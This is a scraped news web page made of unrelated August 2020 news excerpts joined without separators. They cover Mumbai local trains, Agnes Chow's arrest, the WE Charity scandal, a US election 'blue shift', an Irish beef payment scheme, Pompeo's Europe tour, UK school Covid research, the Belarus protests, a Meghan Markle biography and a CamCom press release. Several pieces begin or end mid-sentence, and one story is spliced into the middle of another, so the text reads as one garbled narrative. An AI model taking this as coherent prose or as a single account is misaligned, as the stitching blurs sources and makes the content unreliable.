resumption of train services, citing expensive commute by other modes of transport. A delegation of railway passenger associations met Maharashtra Governor Bhagat Singh Koshyari on Tuesday afternoon, demanding resumption of local train services for the general public in the city. Nobody is thinking of the general passengers who need to travel by local trains. Some people want to travel by station trains but hey cannot reach the boarding stations as they are also not being allowed to travel by local trains. We met the Governor and raised our concerns. It is not justified. said Madhu Kotian, president, Mumbai Rail Pravasi Sangh. The passenger association has also suggested the introduction of staggered office timings. We have suggested that different shift timings should be introduced for companies. Train services should halt at Kalwa, Diva, Airoli and Ghansoli railway stations for emergency workers. QR-based code passes for emergency workers is not required, added Kotian. The association stated that the Governor assured them he would address their concerns. However, we will protest on the platforms of railway stations if the demands of general passengers are not met, said Kotian. Meanwhile, passengers have stated that they have to spend extra money to travel to their workplace due to the suspension of train services. I pay 250 daily for a journey that earlier cost me less than 10 by local train. Companies are slowly opening up, but why are the train services suspended till now? The government should implement a protocol for travel, said Aarti Singh, a Vidyavihar resident. KYODO NEWS - Aug 11, 2020 - 18:00 | All, World, Japan People across Japan on Tuesday came out in support of Agnes Chow, the pro-democracy activist who was arrested in Hong Kong a day earlier for allegedly breaching a sweeping national security law imposed by China. The hashtag #FreeAgnes was trending on Japanese Twitter in an outpouring of support for the 23-year-old, who frequently tweets in Japanese and has appeared on TV programs here. Japan's top government spokesman voiced "grave concern" over the situation in the semiautonomous territory without directly addressing her arrest along with nine others in the highest-profile bust since the national security law entered into force on June 30. "Agnes is a friend who has fought alongside us...We need the support of everyone in Japan," activist Nathan Law tweeted along with pictures of her being taken away by police. "#FreeAgnes. Let's trend it!" The hashtag had been used by more than 178,000 Twitter accounts as of Tuesday afternoon, among them public figures such as actor Takeshi Tsuruno and author Hirotada Ototake. At least another 57,000 had used a hashtag saying in Japanese, "We protest the arrest of Agnes Chow." Ototake, who was born without limbs and known for his autobiographical book "No One's Perfect," tweeted, "What we can do now is speak up and protest. Everyone, please face this news head-on and don't be a bystander." Chow was arrested for allegedly calling on foreign countries to impose sanctions on China on her social media accounts, according to her Twitter account. Also among those arrested on Monday were media mogul Jimmy Lai, founder of the Apple Daily newspaper and one of Hong Kong's most prominent critics of the Communist Party, and his two sons. Asked about the arrests in a press conference, Chief Cabinet Secretary Yoshihide Suga reiterated the Japanese government's "grave concern" over the situation in Hong Kong and stressed the importance of the former British colony developing "democratically and in a stable manner" under the "one country, two systems" policy. Suga said Japan has repeatedly voiced its concerns to China through diplomatic channels and will continue to work with other countries on the matter. Related coverage: Hong Kong media mogul, activists arrested over national security law Upstairs, on the dormitory floors, Denison forgoes rigid, four-square geometry for an arrangement that has student rooms (singles, doubles and triples) pinwheel around a social lounge and shared bathroom area on each side of the floor. The doubles, in particular, are quite small, but that is intentional, the idea being to get students out of their rooms and into the brightly colored lounges. Their ribbon windows offer striking views, both of the nearby Guaranteed Rate Field and the distant downtown skyline. The collateral damage from the WE debacle has been wide and deep. For many Canadians, the biggest impact is the diversion of focus from COVID, child care, systemic racism and climate change. For some, its the loss of income and opportunities for students. For partisans, its the self-inflicted damage to the prime minister and Liberal fortunes. For others, its the damage to WE in its many incarnations, though here again, the harm is largely self-inflicted. But, for the charitable sector, this sorry tale has potentially dire consequences, distorting public perceptions, feeding cynicism and undermining trust at a time when many organizations were already suffering from a dip in donations. It has also exposed the systemic vulnerability of a sector that has not done enough to educate the public, donors or media about the principles and power dynamics that underpin good development practice, and equip them to recognize ethical fundraising and effective governance. Many Canadians may now think it is accepted practice for charities to offer free junkets to donors, amass real estate, lobby governments without registering, commission opposition research on journalists or replace board chairs when they ask questions. From its founding as Free the Children through its metamorphosis to a maze of foundations and shell corporations, WE has enjoyed an outsized reputation among Toronto-centred networks of media and magnates. Building on its founding myth and youthful zeal, WE has aggressively monetized its brand, leveraging corporate and media sponsorship by offering privileged access to impressionable young audiences. But, within the international development community, WE is a minor player known more for its chutzpah than its impact. WEs overseas programs are modest in scale and outdated in their approach. While transformative development is based in rights, builds on local assets, and reinforces local leadership, WE centres its brand, founders and donors, combining old-fashioned infrastructure projects with voluntourism to ground its fundraising efforts. WE styles itself as an innovator and industry leader. But if it cant explain its structure, development principles or business model to its board or the public then it puts its mission at risk. When you need to ask a retired Supreme Court judge to attest that organizational arrangements are legal, perhaps theyre too clever by half. When your in-Canada real estate holdings rival the entire Canadian international development sector combined, youre investing in the wrong things. When you seek corporate sponsors for curriculum development on issues where they have a financial interest, youve been compromised. When you offer free travel to donors as a loss leader, youve taken entrepreneurial zeal too far and broken your trust with the people in whose name you raised those funds. When you spend big bucks on high-priced consultants to advise on development practice and organizational culture, youre doing your partners and staff a disservice. When youve had the same auditor for 25 years, and its a much smaller operation than you are, you may not be assuring your board the independent advice it needs. When you fail to respect the role of the board and the most basic rules of good governance, you put your charitable status in jeopardy. When you are in regular contact with parliamentarians and policy- makers yet fail to register with the commissioner of lobbying, you skirt the law and undermine trust in other charities. And when you retain highly partisan U.S. lobbying firms to discredit your critics, youre crossing a line. Every organization makes mistakes, but healthy ones have robust systems to assure integrity and accountability. Those that prosper learn from their peers and their failures. Yet WE has never joined the Canadian Council for International Co-operation or subscribed to its Code of Ethics and Operational Standards. Nor is WE accredited by Imagine Canada, the gold standard for openness, transparency and accountability. Charities shy away from criticizing their peers, particularly an organization as fabled and litigious as WE. But, for many, the sectors silence comes across as complacency or, worse, complicity. Its not clear that WE will survive the scrutiny, but its important the charitable sector take action to ensure organizations that find themselves under the microscope reflect the ethics and standards to which we all subscribe. The president, who never lets an opportunity for discord go to waste, also elbowed his way into the count in Florida, where leads for the Republican candidates for governor and senator were shrinking as more votes came in. Six days after the election Mr. Trump tweeted, without evidence, that large numbers of new ballots showed up out of nowhere, and many ballots are missing or forged. An honest vote count is no longer possible ballots massively infected. Must go with Election Night! This demand has recently returned to the presidents Twitter feed. Must know Election results on the night of the Election, not days, months, or even years later! he tweeted last month. In effect, Mr. Trump, clearly worried about the blue shift, has invented a new standard: The only valid vote total is the first one. Anything that subsequently alters it is suspicious, if not outright fraud. Count the days until this charge takes on a racialized tone, with insinuations of chaos and subterfuge at urban voting precincts, mysterious boxes of ballots suddenly discovered in inner-city warehouses and so on. In fact, Mr. Foley explains, the blue shift is the result of a combination of innocuous factors, including the well-intentioned reforms in the wake of the 2000 election debacle that made it easier for voters to register and to cast a provisional ballot in case of any issues with their registration. Democrats have benefited more from those reforms, he says, because voter-registration problems tend to be more common among people who lean Democratic, like college students and urban and lower-income voters. In their paper, Mr. Foley and Mr. Stewart found that the bluer the state, the greater the shift. On the surface, that might suggest that theres nothing to worry about: If the blue shift is most pronounced where Democrats are already likely to win, then it wont affect the outcome. But Mr. Foley says the risk of a blue shift in a swing state is greater this year. Hes focused on Pennsylvania, which Mr. Trump narrowly won by 44,000 votes in 2016, but where the Democratic candidate netted more than 20,000 votes between the initial reported total on election night and the final certified count in each of the past four presidential elections. Its not huge, he said, but if your statewide margin is 10,000, a 20,000-vote blue shift could flip it. Three factors could make the shift in Pennsylvania even larger this year: the pandemic, which could drive more voters to vote absentee; a move by the state to allow voters to cast an absentee ballot without an excuse; and Mr. Trumps hostility toward voting by mail, which, supported by Attorney General William Barr, may drive Republicans to vote in person at much higher rates than Democrats. Farmers who sold cattle for export, including to Northern Ireland, will miss out on the new Beef Finisher Payment, the Farming Independent can confirm. The presence of Northern buyers at marts in recent months has seen a 75pc increase in cattle crossing the border, with 33,000 cattle going North since January 1. However, farmers that tapped into this market and live export shipments will miss out on the new 100/hd payment. A spokesperson for Agriculture Minister Dara Calleary told the Farming Independent that only cattle slaughtered within the State will be eligible. ICSA beef chair Edmund Graham said the decision to exclude exported cattle from the Beef Finisher Payment scheme was a mistake and must be revisited. "Farmers who supplied cattle to fill live export contracts on a slaughter certificate are being unfairly discriminated against by this decision," he said. "They are winter finishers who fed cattle and had to contend with the same market difficulties as were faced by others due to Covid-19. "Moreover, it is the second time that exports of live cattle have been left out of compensation packages, having also been denied access to BEAM support." Valuable Minister Calleary said 42,000 farmers will be eligible for the scheme and that it will help to mitigate the economic impact of the Covid-19 pandemic for them and provide a valuable additional income support this year. "Beef farming is an important economic activity, with a significant multiplier effect in local rural communities, and thus is more important than ever in sustaining these communities as we work towards economic recovery," he said. Figures obtained by the Farming Independent show that over 80pc or 35,335 of eligible farmers will receive a payment of less than 2,000 under the new Beef Finisher Payment scheme. The Department estimates that just 778 farmers will receive the maximum 10,000 payment, while 1,719 will be eligible for a payment exceeding 6,000. Despite concerns over the exclusion of sales to the North and for live export from the scheme, it was broadly welcomed by farm organisations. However, the Farming Independent understands there is some disquiet among farmers over some of the schemes other criteria for payment. Many farmers are set to miss out on the support by just days, while others believe the reference period should have included the low beef price period in autumn 2019. Key requirements: Cattle must be slaughtered in the reference period of February 1 to June 12; Cattle must have been aged eight months or more when slaughtered; They must have been resident on the qualifying herd for at least 30 days prior to slaughter (if not, the previous owner is eligible for payment if they are an applicant and had the animal for over 30 days); Animals identified on the Department systems as presented for slaughter by or on behalf of a factory will not be eligible; Applicants must be a member of the Bord Bia Beef and Lamb Quality Assurance Scheme or undertake to become a member of a quality scheme before September 30; There is a cap of 100 eligible animals per herd. 2019 losses ICMSA president Pat McCormack welcomed the confirmation of the schemes details, but said there will still be some disappointed farmers, particularly those who suffered heavy losses in 2019. However, he said the conditions around the scheme were straightforward and inclusive in that the scheme was open to all farmers who had sent cattle to the factories a reference to dairy farmers exclusion from the previous BEAM scheme. IFA president Tim Cullinan said its crucial that the money gets out to farmers as soon as possible and that the full 50m is spent. There should be a provision to increase the payment per animal if there is any underspend, he added. Eligible farmers are encouraged to apply once the scheme opens on August 19. PILSEN, Czech Republic (AP) U.S. Secretary of State Mike Pompeo warned on Tuesday of a rise in authoritarianism led by Russia, China and Iran that threatens freedoms around the world. Opening a four-nation tour of eastern and central Europe in the Czech Republic, Pompeo paid tribute to American forces that liberated western Czechoslovakia in 1945 and lauded values shared by Americans and Czechs. Visiting the Thank You, America monument in the city of Pilsen, Pompeo urged continued vigilance to protect democratic gains made after World War II and then again after the collapse of the Soviet Union. Pompeo did not, however, mention unrest and concerns about significant democratic backsliding in nearby Belarus after elections there on Sunday. It is worth remembering, even as we celebrate, that because authoritarianism is still alive in Beijing, in Moscow and in Tehran there remains work to do, he said in a brief speech at the monument before observing a wreath laying with the Czech foreign minister. Earlier, Pompeo visited the Patton Museum in Pilsen, which commemorates the Army general's WWII leadership. Pompeo plans to use his visit, which continues Wednesday, to push his hosts to counter Russian and Chinese influence. Russia and China are active and seeking greater roles throughout the continent in the energy, infrastructure and telecommunications sectors, a trend the United States is keen to reverse. In his talks, Pompeo will likely face questions about the Trump administrations decision to reduce the U.S. military presence in Germany. Pompeo did not address the matter in his comments on Tuesday. President Donald Trump wants to withdraw thousands of American troops from bases in Germany and redeploy some of them eastward, including to neighboring Poland, the last stop on Pompeos week-long trip. Two of Pompeo's other three destinations the Czech Republic and Austria also share a border with Germany, while Slovakia borders Austria, the Czech Republic and Poland. Germany is pointedly not on Pompeo's itinerary. Story continues In Prague on Wednesday, Pompeo will meet Czech President Milos Zeman and Prime Minister Andrej Babis to discuss nuclear energy cooperation and efforts to counter malign actions of Russia and communist China, the State Department said. Energy and the tenuous political situation in the Balkans will top Pompeos agenda with Slovenian officials in Ljubljana, where he is expected to deliver a statement with the foreign minister about the security of 5G networks, the department said. In Vienna, Pompeo will meet Austrian Chancellor Sebastian Kurz to review trade relations and regional security. Pompeo will also hold talks with the head of the Vienna-based U.N. nuclear watchdog, the International Atomic Energy Agency, which is charged with monitoring Irans adherence to the 2015 nuclear deal from which the U.S. has withdrawn. The Trump administration is trying to convince other members of the U.N. Security Council to indefinitely extend an arms embargo on Iran that is due to expire in October, under terms of the nuclear deal. In Warsaw, Poland, Pompeo plans talks with President Andrzej Duda, who recently won a narrow reelection after a bitter campaign that concerned human rights advocates and others. Police are searching for a man who ambushed a taxi driver and passenger in Mount Hawthorn in the early hours of Saturday, July 18. A police spokesman said the taxi was driving along Scarborough Beach Road about 1am when the driver pulled over in a bus bay near Matlock Street. "The passenger had opened the door and was paying for the ride when a vehicle parked behind the taxi," he said. "A man wearing a full face mask and armed with a knife approached the passenger and demanded cash. Secondary school pupils are as likely to transmit coronavirus as adults, official research appears to show - as scientists now call for routine Covid tests for children and teachers when classes restart. Public Health England (PHE) found that primary school pupils do not appear to pass the virus to each other - but its researchers say that stricter rules could be needed for older schoolchildren. Education Secretary Gavin Williamson has said PHE findings due to be published later this year showed there was little risk from the Government's plans to reopen schools in England in September. However The Times reported that while there was little risk from primary schools, researchers who had worked on the study were unhappy with the way their findings, which have not yet been fully analysed, had been used by ministers - who argue that it is safe for all children to return to class at the start of next term. While preliminary results of the study - which separated children into those older than 10 and those younger - indicate that primary schools are not a significant danger, with just six positive test results out of 9,000 tested so far, it is believed that a difference was found in the older group. A source claimed the study suggested that as pupils grow older 'their bodies start to act like small adults' as they spread the virus more effectively. Public Health England found that primary school pupils do not appear to pass the virus to each other - but its researchers say that stricter rules will most likely be needed for older schoolchildren (pictured: An Oldham school in June) Education Secretary Gavin Williamson has said PHE findings due to be published later this year showed there was little risk from the Government's plans to reopen schools in England in September The source added: 'Secondary children are most likely to get infected, have silent infection, transmit infection and get sicker. Boris Johnson vows classrooms will be the last places to shut if second coronavirus wave hits UK By Daniel Martin, Policy Editor for the Daily Mail Schools will be the last places to close, even in a local lockdown, Boris Johnson vowed yesterday. As the Governments row with the unions escalated, the Prime Minister said getting all children back to school full-time in England next month was the right thing for everybody. His comments, on a visit to a school in east London, came after one teachers union said ministers should have a plan B such as a week-on, week-off rota system for pupils in case of further lockdowns and spikes in Covid-19 cases. Mr Johnson said he hoped schools would not be forced to close as a result of local action, adding it was the last thing that the Government wanted to do. But clearly what we are doing the way we are trying to manage the Covid pandemic is to have local measures in place and local test and trace to introduce restrictions where thats necessary, he said. As we have all said, the last thing we want to do is to close schools. We think that education is the priority for the country and that is simple social justice. Ministers have become increasingly frustrated with the teaching unions in recent days, particularly after the National Education Union published a nit-picking list of 200 safety demands for all schools to adhere to. Tory MP Rob Halfon, chairman of the education select committee, said: I think that some of the unions are... imposing significant obstacles and significant tests that no other workplace is following. If youd had all the conditions in supermarkets that some of the unions are proposing, then perhaps you wouldnt have had any of the supermarkets open during the lockdown. The four most important words in this are What about the kids?. The unions insist they are not trying to sabotage the back-to-school plans but are asking genuine questions about the Governments approach and the lack of a plan B should virus cases escalate again. Geoff Barton, general secretary of the Association of School and College Leaders, said: This idea that demonising the trade unions lets the Government off the hook with difficult questions we are asking. They ought to be facing difficult questions because we are in the middle of something extremely challenging. Mr Barton added: We would like to see more thought given to blended learning as a back-up plan, which could be a rota system of children in for one week and then learning at home for one week. This would be better than children returning solely to remote education. Avis Gilmore, deputy general secretary of the National Education Union, called for a more robust test, track and trace system to be in place to ensure the welfare of pupils and school staff. She said: Government could do much more to assure schools and local authorities that, should a second spike occur, either nationally or locally, there is a clear Plan B in place. This plan needs to spell out what action must be taken in a variety of situations, so that schools and colleges can make the preparations parents expect of them. Advertisement 'There's a genuine concern that secondary school children are not the same as primary school children. Once community control of Covid-19 is lost then outbreaks are seen in secondary schools.' The report is likely to heighten concerns among teaching unions concerned about whether schools can safely return in the way ministers want. Boris Johnson is understood to have warned that Gavin Williamson's 'head will be on the chopping block' if pupils are not back in lessons next month. The Prime Minister has declared resuming classes a 'national priority' and is planning an advertising blitz to urge anxious parents to send their child back to school. A PHE spokesperson said: 'PHE analysis of recorded cases and outbreaks in educational settings in England is currently undergoing pre-publication verification and review, and will be published in due course. 'It appears to show that SARS-CoV-2 infections and outbreaks were uncommon in educational settings during the first month after the easing of national lockdown in England.' 'Additionally, a nationwide surveillance programme examining antibody prevalence in schoolchildren (sKIDs), is being analysed and should be published in the coming weeks. 'These publications combined will give the most complete picture of the landscape of Covid-19 in educational settings that we have seen to date.' Some scientists are now calling for regular coronavirus testing in addition to a reliable test-and-trace system. Children's commissioner for England, Anne Longfield, said on Sunday that schoolchildren and teachers should undergo weekly checks. Schools minister Nick Gibb said tests should be offered for those who have symptoms. But researchers who compiled a report for the multidisciplinary group Delive say that when the majority of pupils return to school, routine checks will become a necessity. University of Edinburgh researcher Dr Ines Hassan, the report's lead author, told the Guardian the group recommends regular screening of all staff in schools - even for those without symptoms. She said: 'The cost-benefit analysis for the screening of asymptomatic pupils is more complicated, but on balance we recommend this also. 'We recognise that the health risks to pupils themselves from Covid-19 infection are very low. 'However, the risks to school staff, parents [or] carers and the wider community are clear, and it is also very important to prevent full or partial school closures or widespread absences arising from transmission within schools, as these will cause further losses of learning, with its associated long-term social and economic effects.' Dr Hassan said regular screening was important because asymptomatic transmission of the virus is estimated to make up 40% of community transmission - with possibly a higher figure among schoolchildren, who often do not show severe symptoms. It comes as the Government announced it was strengthening regional test and trace powers in England while axing 6,000 national contract tracers. It means people who have been in contact with confirmed coronavirus cases may get a knock on their door if tracers are unable to reach them over the phone. Labour said the changes showed the system was nowhere near 'world-beating', as the Government claimed. In all, 117 trusts will benefit from the additional funding which could be used by hospitals to increase A&E capacity, with more treatment cubicles and expanded waiting areas to ease overcrowding and improve infection control. It could also enable hospitals to increase the provision of same-day emergency care and improve patient flows to help them to better respond to winter pressures and the risks of fresh coronavirus outbreaks. While preliminary results indicate that primary schools are not a significant danger, with just six positive test results out of 9,000 tested so far, it is believed that a difference was found in an older group (pictured: A London school in June) Some scientists are now calling for regular coronavirus testing in addition to a reliable test-and-trace system (file image) The report is likely to heighten concerns among teaching unions concerned about whether schools can safely return in the way ministers want (pictured: Teachers plan lessons in a newly-arranged classroom in London) Officials said the projects would all be completed by the start of 2021 so hospitals would benefit from the upgrades during the peak months of winter. Prime Minister Boris Johnson said: 'These upgrades will help our fantastic NHS prepare for the winter months, helping them to deliver essential services and reduce the risk of coronavirus infections.' It comes on top of a 3 billion cash injection for the NHS in England - with extra funding also for Scotland, Wales and Northern Ireland - announced last month to help it to cope with the expected winter pressures. That funding has been earmarked to enable the NHS to continue to use the extra hospital capacity acquired from the independent sector, maintain Nightingale hospitals until the end of March and expand its flu vaccination programme. Mr Johnson said it was essential that people who needed emergency treatment during the winter should attend hospital, confident they would not become infected with the virus. 'Thanks to the hard work and tireless efforts of NHS staff throughout the pandemic, our A&Es have remained open for the public,' he said. 'It's vital that those who need emergency treatment this winter access it, and for those who remain concerned about visiting hospitals, let me assure you that the NHS has measures in place to keep people safe.' Dr Nick Scriven, immediate past president of the Society for Acute Medicine, said while any additional funding was helpful, there were limits to what it could achieve. 'The money is welcome but how do we think we can actually implement what would be building works in existing units whilst remaining safe and efficient - all before any rise in either Covid or non-Covid patients which, if like last winter, may start before the end of October?' he said. Rail bosses are urging ministers to raise taxes on road and aviation fuel to cut carbon emissions and encourage more people to travel by train. Under proposals drawn up by the Rail Delivery Group (RDG) industry body, fuel duty would be increased for the first time in a decade and taxes added to the purchase of jet fuel leading to higher air fares for holidaymakers. But motoring groups and airline bosses reacted with fury last night, pointing out that British motorists and air passengers are among the most taxed in the world. The AA said drivers are already fleeced on fuel duty, road tax and resident parking permits while being hunted at every turn for parking, bus lane and other fines. Under proposals drawn up by the Rail Delivery Group (RDG) industry body, fuel duty would be increased for the first time in a decade and taxes added to the purchase of jet fuel And the Airlines UK trade body warned higher fares would penalise isolated communities which rely on regional airports because of poor rail links. They urged train companies to instead focus on ending rip-off rail fares. The average cost of a rail season ticket passed 3,000 for the first time last year and analysis has shown that travelling by train can be up to 13 times more expensive than driving. And it is often cheaper and faster to take a domestic flight. The Daily Mail found that a British Airways return service from London to Manchester next Monday costs 152 10 cheaper than a return rail ticket with Avanti West Coast. The Airlines UK trade body warned higher fares would penalise isolated communities which rely on regional airports because of poor rail links However, rail bosses say increased taxes on air routes would allow them to reduce long-distance fares. The proposals from the RDG have been submitted to the Department for Transports decarbonisation plan which is part of the Governments effort to reduce emissions to net zero by 2050. Rail bosses cited Government figures published last year showing CO2 emissions per passenger per kilometre travelled are only 41g for domestic rail but 254g for domestic flights. But Howard Cox, founder of the FairFuelUK pressure group, added: The gobsmacking smugness of the nations train operators beggars belief. To make the worlds already highest taxed motorists subsidise their financial failures and management incompetence is shameful. Its time the UKs 37million drivers got a real break from being the easy cash cows for every transport and environmental issue. A 17-year-old boy working at Sesame Place theme park has undergone surgery on his jaw after a visitor punched him in the face in reaction to being asked to wear a face mask. The teenager was attacked at the Sesame Street-themed location in Langhorne, Pennsylvania on Sunday around 5pm. The confrontation took place at the Captain Cookie's High C's Adventure ride inside the Bucks County park which is about 30 minutes outside Philadelphia. The minor reminded the man, and the woman who accompanied him, to cover their noses and mouths. A 17-year-old boy working at Sesame Place theme park was punched in the face on Sunday by a visitor after he asked him to wear a mask The adult hit the teen in front of Captain Cookie's High C's Adventure ride (pictured) then fled the scene in a car registered in New York state However the man who has not been identified reacted with violence. It has not been reported that children were with the adults. The injuries sustained included a cracked tooth. Information regarding the specific injury to his jaw that required him to be sent to St. Mary's Medical Center in Middletown has not been shared. Security tried to chase after them but they fled in a car that had New York state licence plates. The suspects appeared to be between the ages of 20 to 30. Authorities didn't release information about their appearances. Sesame Place said it was cooperating with police after a guest 'assaulted and seriously injured one of our team members.' 'Weve been in close communication with the family of our injured team member, and are wishing for a full and speedy recovery,' the park said in a statement. 'The health and safety of our guests and team members is our top priority, and violence of any kind is unacceptable and not tolerated at our park. We are cooperating with local law enforcement on this ongoing investigation.' Sesame Place reopened on July 24 and is one of many public locations that have enforced social distancing rules amid the coronavirus pandemic On Tuesday police said they had tentatively identified the suspects. Once the IDs are confirmed they will need the Bucks County District Attorneys Office to approve extradition, Bucks County Courier Times reported. Sesame Place is one of many public locations that have enforced social distancing rules amid the coronavirus pandemic. It reopened on July 24. Governor Tom Wolf announced a face mask mandate last month. In states that don't have face mask mandates, businesses are allowed to announce their own policies. However it has seen arguments and violence break out in stores across the country as people argue they don't want to wear one or cannot wear one for various reasons. In Pennsylvania there were 124,174 coronavirus cases and 7,317 deaths as of Tuesday. The state is not on New York Governor Andrew Cuomo's list of places where individuals arriving to New York are required to quarantine for 14 days. Protesters and security forces have been clashing across Belarus overnight in a second night of protests that has left at least one person dead, hundreds injured and thousands arrested. Why it matters: Sundays rigged presidential elections have yielded political uncertainty unlike any seen in Aleksander Lukashenkos 26-year tenure. After claiming an implausible 80% of the vote, Lukashenko is using every tool in the authoritarian arsenal to maintain his grip on power. Driving the news: The results have been challenged by Svetlana Tikhanovskaya, a former teacher who stood in for her jailed husband as a candidate and managed to unite the opposition behind her. She is now "safe" in Lithuania, Lithuanian Foreign Minister Linas Linkevicius said Tuesday morning. Authorities arrested 3,000 people last night and have partially shut down the internet, but demonstrations are nonetheless raging in several cities. Videos of protesters being beaten, some to unconsciousness, have inflamed public anger. Opposition activists are reportedly also planning strikes. Lukashenko has dismissed their efforts as futile attempts to spoil the holiday. I warned that there wouldnt be a Maidan, however much some people want that, he said, referring to the 2014 revolution in neighboring Ukraine. The first death confirmed by authorities came when an explosive device a protesters had intended to throw detonated in his hand, according to the interior minister. Breaking it down: Lukashenkos know-nothing approach to the pandemic he kept the country open and prescribed vodka and exercise seemed to catalyze discontent with his Soviet-style leadership. In the previous elections, there was always a feeling that the majority either supports President Lukashenko or is at least indifferent enough to accept him, said Alyaksey Znatkevich, a journalist for Radio Free Europe in Belarus. There was always this argument: OK, the results may be falsified, but there are obviously more people who support Lukashenko than support the alternative candidates. This perception has changed now not only in the capital, Minsk, but in the regional cities, the smaller towns. For the first time, analysts say, the government realized the majority might very well be against them. Then came the arrests, and later the vote-rigging. The scene Monday night in Minsk. Photo: Natalia Fedosenko/TASS via Getty The big picture: Monday night's events in Minsk will be watched closely in Moscow and Washington. While Lukashenko has long played Russia and the West off each other, he now risks alienating both. In December, he rebuffed the Kremlin's push toward a Russia-Belarus political union. When Russia subsequently halted oil exports to Belarus, the U.S. sensed an opportunity. Secretary of State Mike Pompeo visited Belarus in February, smiling alongside Lukashenko and vowing to export all the oil Belarus needed to ensure its independence." In April, the U.S. nominated its first ambassador to Belarus in a decade. Both the U.S. and EU discussed further loosening sanctions imposed after a previous post-election crackdown. In Belarus, public support for the Russia-Belarus union fell from 60% to 40% over the last year, per the NYT, while support for joining the EU (currently a remote prospect) rose to a new high of 32%. Then, in a bizarre preelection incident, Belarus arrested 33 Russian mercenaries, whom Lukashenko accused of plotting an attack. What to watch: The pendulum may now swing back. Putin was quick to congratulate Lukashenko on his victory, and emphasize the further development of mutually beneficial Russian-Belarusian relations in all areas. Pompeo, meanwhile, condemned elections he described as not free and fair, along with the ongoing violence against protesters and the detention of opposition supporters. Data: Axios Research; Chart: Andrew Witherspoon/Axios It may seem that Lukashenko has nowhere to turn, after alienating Belarusians, angering Russia and repelling the West, notes Carnegie Moscows Maxim Samorukov. In fact, Samorukov writes, Lukashenko remains the best bet for the uncertainty-fearing elites in Minsk and Moscow, while policymakers in the West still see him as the best available guarantor of Belaruss sovereignty. Outdated regimes can prove extremely resilient if favored by broader geopolitics, he writes. The same may prove true for Lukashenko, who, from his position atop a geopolitical fault line, will weather every storm as long as Russia and the West mistrust him less than they do each other." The big picture: Lukashenko has weathered more storms than most. Just nine leaders who were in power when he was elected in 1994 during Bill Clinton's first term are still in office. Overachiever Meghan Markle was often deemed 'fake' by her schoolmates who thought it was impossible to be that 'perfect', new bombshell biography Finding Freedom has claimed. The book, co-authored by royal journalists Omid Scobie and Carolyn Durand, reveals that Meghan's willingness to help others, paired with her incomparable drive, meant her old classmates often thought she was not genuine. Taking a deep dive into the Duchess of Sussex's early days as a hardworking student, the book claims she threw herself into her studies, juggled multiple extra-curricular activities and did everything she could to avoid being seen as an 'underdog.' Finding Freedom provides an intimately detailed and personalised version of the events leading up to the Sussexes' dramatic departure from royal life, with the co-authors insisting 'all information in this book has at least two sources'. Overachiever Meghan Markle was often deemed 'fake' by her schoolmates who thought it was impossible to be that 'perfect', new bombshell biography Finding Freedom has claimed. Pictured, Meghan with her father Thomas Markle 'Meghan's willingness to help others and her drive to excel meant she was often deemed "fake" by classmates at school who felt it was impossible for anyone to be that "perfect",' the authors claim. They go on to say that Meghan didn't always know 'where she fit in,' which resulted in her feeling she had 'more to prove.' 'Being biracial and not always knowing where she fit in, there was a part of her that just wanted people to see she was great at whatever she did,' they alleged. Her drive to succeed continued on into high school where, the book explains, Meghan 'joined every club, from the year book committee to the Genesian Playders Theater group.' 'She was voted homecoming queen. A natural performer and someone who sought out praise, Meghan was coming into her own.' Meghan in 1986. Even as a schoolgirl, Meghan was already driven and wanted to do well in everything she did Born in Los Angeles, Meghan was educated at several private schools, starting with the Hollywood Little Red Schoolhouse as a preschooler. As a teen, she attended an all-girl Catholic and private institution, the Immaculate Heart High School. Then, at university, she studied at Northwestern's School of Communication and joined the Kappa Kappa Gamma sorority, before graduating in 2003 with a double major in theater and international studies. It was during her time at Northwestern that the royal began taking on small roles in RV production - which in turn, kick-started her acting career. According to a source, Meghan's faith also plays a central role in her life, while prayer and conversations with God have got her through the 'darkest moments.' The source, who is reportedly a close friend and has often prayed with Meghan, 39, and Prince Harry, 35, claims they have been on a 'journey of faith together' during their relationship. Finding Freedom, by Omid Scobie and Carolyn Durand, is published today Discussing the perceived betrayal of her old school friend Ninaki Priddy, who claimed she wasn't shocked at all by the news of Meghan's engagement because 'she was always fascinated by the Royal Family', the friend of the duchess told the authors: 'Part of what helped Meghan get through this difficult time was her faith. 'Her relationship with God and with her church is extremely important to her. That's something most people do not know about her. 'It plays a central role in her life, as an individual, as a woman.' They added: 'When I talk about her faith being a big part of her life, it's her faith in God. 'It's her faith in her family. Her faith in the people closest to her.' A further source claimed: 'It's prayer and conversations with God that have gotten her through the darkest moments. 'That's something that plays a significant role in her life and her relationship with Harry. The two have been on a journey of faith together.' The book also goes on to discuss the duchess' regular meetings with the Archbishop of Canterbury Justin Welby ahead of her baptism into the Church of England prior to her wedding, with whom she formed a 'close bond' according to a royal aide. Meanwhile, the authors add that although Meghan's family wasn't overly religious, she was raised with an 'awareness of God'. Her mother Doria Ragland was brought up Protestant and her father Thomas Markle became a confirmed member of the Episcopal Church at the age of 14, but Meghan attended a Catholic school for educational reasons. Bengaluru (Karnataka) [India], Aug 11 (ANI/NewsVoir): CamCom.ai, an AI platform for Quality Assurance, are the pioneers of defect and damage assessment solutions in the automotive industry. Their new solution provides contactless, objective, and cost-effective assessment in a matter of minutes. The platform is poised to be an imperative solution in the post COVID world to future proof enterprise quality processes. "Deep Tech, Big Data and AI are not just a top priority, but the way of the future. Sectors that are labour intensive require this edge to transform digitally. Earlier, most quality checks in the Auto Industry mandated a manual inspection subject to human interaction and error. In the time of COVID-19, one can do it remotely through our Computer Vision platform, thereby minimizing the risk, reducing the margin of error and generating revenue for Enterprises," said Ajith Nayar, Co-founder & CMO of CamCom. CamCom's Hyper Intelligent quality assurance platform helps to drive efficiencies across the automotive value chain, from manufacturing, service, motor insurance and the used cars sector. CamCom's AI solution eliminates human subjectivity from the quality control process by using a computer vision stack. Bespoke rigs with high-end machine-vision cameras are used for production/ logistics and deployed on mobile devices for after-market solutions. CamCom's technology ensures high throughput and delivers super-fast and auditable results. In the motor Insurance sector, CamCom provides self-inspection models for spot settlement of claims and instant premium calculation for break-in policy renewals. These are deployed through integration into insurance company app for customer, surveyor app or web app link sent by SMS. In the used cars sector, CamCom provides an automatic visual health check report for true value assessment and provides a single source of truth visual audit trail for service centers to enable upsell opportunities. CamCom is an AI platform for automated quality assurance. Currently catering to the Automotive industry, CamCom aims to be the Hyper Intelligent quality assurance partner of choice for enterprises, across the globe. * An award-winning start-up recognized around the world for providing disruptive solutions to the Automotive Industry * A pioneer in leveraging CV and associated technologies in the quality assurance process * A provider of solutions that have become imperative in the post COVID world to future proof QC processes * A strong team of recognized thought leaders and technologists in the AI space This story is provided by NewsVoir. ANI will 